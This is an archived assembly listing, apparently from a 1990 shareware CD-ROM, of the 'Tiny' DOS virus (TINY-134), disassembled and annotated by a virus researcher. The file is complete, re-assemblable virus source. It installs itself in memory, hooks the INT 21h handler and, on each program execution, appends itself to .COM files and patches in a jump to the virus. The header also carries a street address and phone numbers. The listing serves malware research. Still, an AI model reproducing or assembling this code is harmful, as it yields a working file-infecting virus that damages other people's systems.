home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-T.ZIP / TINY-134.ASM < prev    next >
Assembly Source File  |  1990-09-15  |  4KB  |  162 lines

  1.     page    ,132
  2.     name    TINY134
  3.     title    The 'Tiny' virus, version TINY-134
  4.     .radix    16
  5.  
  6. ; ╔══════════════════════════════════════════════════════════════════════════╗
  7. ; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
  8. ; ║  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255         ║
  9. ; ║                                         ║
  10. ; ║             The 'Tiny' Virus, version TINY-134                  ║
  11. ; ║         Disassembled by Vesselin Bontchev, September 1990         ║
  12. ; ║                                         ║
  13. ; ║             Copyright (c) Vesselin Bontchev 1989, 1990          ║
  14. ; ║                                         ║
  15. ; ║     This listing is only to be made available to virus researchers      ║
  16. ; ║           or software writers on a need-to-know basis.          ║
  17. ; ╚══════════════════════════════════════════════════════════════════════════╝
  18.  
  19. ; The disassembly has been tested by re-assembly using MASM 5.0.
  20.  
  21. code    segment
  22.     assume    cs:code, ds:code
  23.  
  24.     org    100
  25.  
  26. seg_60    equ    600
  27. v_len    equ    v_end-first4
  28.  
  29. start:
  30.     jmp    v_entry     ; Jump to virus code
  31.     db    'M'             ; Virus signature
  32.  
  33. ; The original first 4 bytes of the infected file:
  34.  
  35. first4    db    0CDh, 20, 90, 90
  36.  
  37. v_entry:
  38.     mov    si,0FF        ; Initialize some registers
  39.     mov    di,offset start ; Put the addres of program start in DI
  40.     mov    bx,int_21-first4+seg_60 ; Point BX at new INT 13h handler
  41.  
  42. ; The virus will be installed in memory at
  43. ; address 0050:0100h (i.e., at segment 60h):
  44.  
  45.     mov    cx,50
  46.  
  47.     add    si,[si+2]    ; Determine the start addres of the virus body
  48.  
  49.     push    di        ; Now a Near RET instruction will run the prg.
  50.  
  51.     movsw            ; Restore the original first 4 bytes
  52.     movsw
  53.  
  54.     mov    es,cx        ; Point ES:DI at 0050:0100h
  55.     cmpsb            ; Check if the virus is present in memory
  56.     jz    run        ; Just run the program if so
  57.  
  58. ; Virus not in memory. Install it there:
  59.  
  60.     dec    si        ; Correct SI & DI to point at the start of
  61.     dec    di        ;  virus code and to destination address
  62.     rep    movsw        ; Move the virus there
  63.  
  64.     mov    es,cx        ; ES := 0
  65.  
  66. ; Move the INT 21h handler to INT 32h and
  67. ; install int_21 as new INT 21h handler.
  68. ; By the way, now DI == 1A4h (i.e., 69h*4):
  69.  
  70.     xchg    ax,bx        ; Thransfer INT 21h vector to INT 69h,
  71.     xchg    ax,cx        ;  preserving AX
  72. lp:
  73.     xchg    ax,cx        ; Get a word
  74.     xchg    ax,es:[di-(69-21)*4]    ; Swap the two words
  75.     stosw            ; Save the word
  76.     jcxz    lp        ; Loop until done (two times)
  77.  
  78.     xchg    ax,bx        ; Restore AX (to keep progs as DISKCOPY happy)
  79.  
  80. run:
  81.     push    ds        ; Restore ES
  82.     pop    es
  83.     ret            ; And exit (go to CS:100h)
  84.  
  85. int_21:             ; New INT 21h handler
  86.     cmp    ax,4B00     ; EXEC function call?
  87.     jne    end_21        ; Exit if not
  88.  
  89.     push    ax        ; Save registers used
  90.     push    bx
  91.     push    dx
  92.     push    ds
  93.     push    es
  94.  
  95.     mov    ax,3D02     ; Open the file for both reading and writting
  96.     call    do_int21
  97.     jc    end_exec    ; Exit on error
  98.  
  99.     cbw            ; Zero AH
  100.     cwd            ; Zero DX
  101.     mov    bx,si        ; Save handle in BX
  102.     mov    ds,ax        ; Set DS and ES to 60h,
  103.     mov    es,ax        ;  the virus data segment
  104.  
  105.     mov    ah,3F        ; Read the first 4 bytes
  106.     int    69
  107.  
  108. ; Check whether the file is already infected or is an .EXE file.
  109. ; The former contains the character `M' in its 3rd byte and
  110. ; the latter contains it either in the 0th or in the 1st byte.
  111.  
  112.     mov    al,'M'          ; Look for `M'
  113.     repne    scasb
  114.     jz    end_exec    ; Exit if file not suitable for infection
  115.  
  116.     mov    al,2        ; Seek to the end of file
  117.     call    lseek        ; SI now contains the file size
  118.  
  119.     mov    cl,v_len    ; Length of virus body
  120.     int    69        ; Append the virus to the file (AH is now 40h)
  121.  
  122.     mov    al,0E9        ; Near JMP opcode
  123.     stosb            ; Form the first instruction of the file
  124.     inc    si        ; Add 1 to file size for the JMP
  125.     xchg    ax,si        ; Move it in AX
  126.     stosw            ; Form the JMP's opperand
  127.     mov    al,'M'          ; Add a `M' character to mark the file
  128.     stosb            ;  as infected
  129.  
  130.     xchg    ax,dx        ; Zero AX
  131.     call    lseek        ; Seek to the beginning
  132.     int    69        ; AH is 40h, write the JMP instruction
  133.  
  134. end_exec:
  135.     pop    es        ; Restore used registers
  136.     pop    ds
  137.     pop    dx
  138.     pop    bx
  139.     pop    ax
  140.  
  141. ; Exit through the original INT 21h handler:
  142.  
  143. end_21:
  144.     jmp    dword ptr cs:[69*4]
  145.  
  146. lseek:
  147.     mov    ah,42        ; Seek operation
  148.     cwd            ; Zero DX
  149. do_int21:
  150.     xor    cx,cx        ; External entry for Open
  151.     int    69
  152.     mov    cl,4        ; 4 bytes will be read/written
  153.     xchg    ax,si        ; Store AX in SI
  154.     mov    ax,4060     ; Prepare AH for Write
  155.     xor    di,di        ; Zero DI
  156.     ret            ; Done
  157.  
  158. v_end    equ    $        ; End of virus body
  159.  
  160. code    ends
  161.     end    start
  162.